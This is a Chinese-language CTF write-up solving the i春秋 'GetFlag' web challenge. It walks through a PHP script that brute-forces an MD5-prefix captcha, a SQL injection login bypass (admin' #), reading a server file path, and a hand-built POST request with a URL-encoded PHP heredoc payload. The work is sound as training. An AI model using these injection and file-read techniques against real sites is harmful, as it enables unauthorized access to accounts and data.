i春秋 “百度杯”CTF比赛 十月场 GetFlag

https://www.ichunqiu.com/battalion?t=1&r=0

进入题目链接,是一个调侃界面,调侃单身狗的,然后我们进入login界面,这两个界面的源代码中都没有任何提示,但是我在目录中发现了flag.php文件,不过没有任何线索,页面源代码中也没有任何线索。。。。。

任何就老老实实的看登陆页面,我开始并没有正确理解那个验证码框,我以为只要输入他页面上的substr(md5(captcha), 0, 6)=879f2f的结果字符串就行了,在这儿耗了半天,尝试SQL注入,没有任何结果,最后还是忍不住去看了一眼writeup,然后才知道验证码框的意思是我们要输入的验证码要满足上面的那一行代码,也就是说我们输入的验证码的md5值的前六位要和页面上的相同,知道这个就很好做了,我们直接做出一个php脚本,爆破出验证码即可,只要md5值的前六位和当前页面上的那六个字符串相等即可,下面是我的代码:

<?php
$i=0;
while(true) 
{ 
	$captcha = dechex($i);
	if(substr(md5($captcha), 0, 6)== "8ef329") 
	{
		echo $captcha;
		break;
	}
	$i+=1; 
}

直接从1开始,往上递增,因为md5值是16进制的字符串,所以需要使用dechex将其从10进制变成16进制,最后即可得到验证码,登陆页面存在注入,而且没有任何过滤,我们直接在username输入admin' #,密码随便输即可登陆至admin用户

到这里面我们就可以随意遍历文件了,直接查看/var/www/html/Challenges/flag.php,得到源代码,审计源代码,把flag参数构造为flag,然后没有返回有效结果,还是源代码,继续看writeup,上面说直接提交flag会导致异常,但是并不知道具体为什么会导致异常,然后就另辟蹊径,使用PHP的另一种字符串构造方法<<<自定义定界符

<<<selfDefineDelimiter
your string
selfDefineDelimiter

因为有换行的存在,我们要把上面所有的字符都进行url编码,然后在burp上构造post参数flag,对照ASCII码表进行手动编码:

<<<a
flag
a;

%3c%3c%3c61%0a
%66%6c%61%67%0a
%61%3b%0a

%3c%3c%3c61%0a%66%6c%61%67%0a%61

请求也需要我们自己构造:注意:Content-Type字段的值

POST /Challenges/flag.php HTTP/1.1
Host:8a855db687b64c05b02efc0fa87b4fa1f11579a7eb864268.game.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

flag=%3c%3c%3c%61%0a%66%6c%61%67%0a%61%3b%0a
上一篇:CTF web之旅 39


下一篇:【CTF工具】GitHack下载安装与使用(windows下)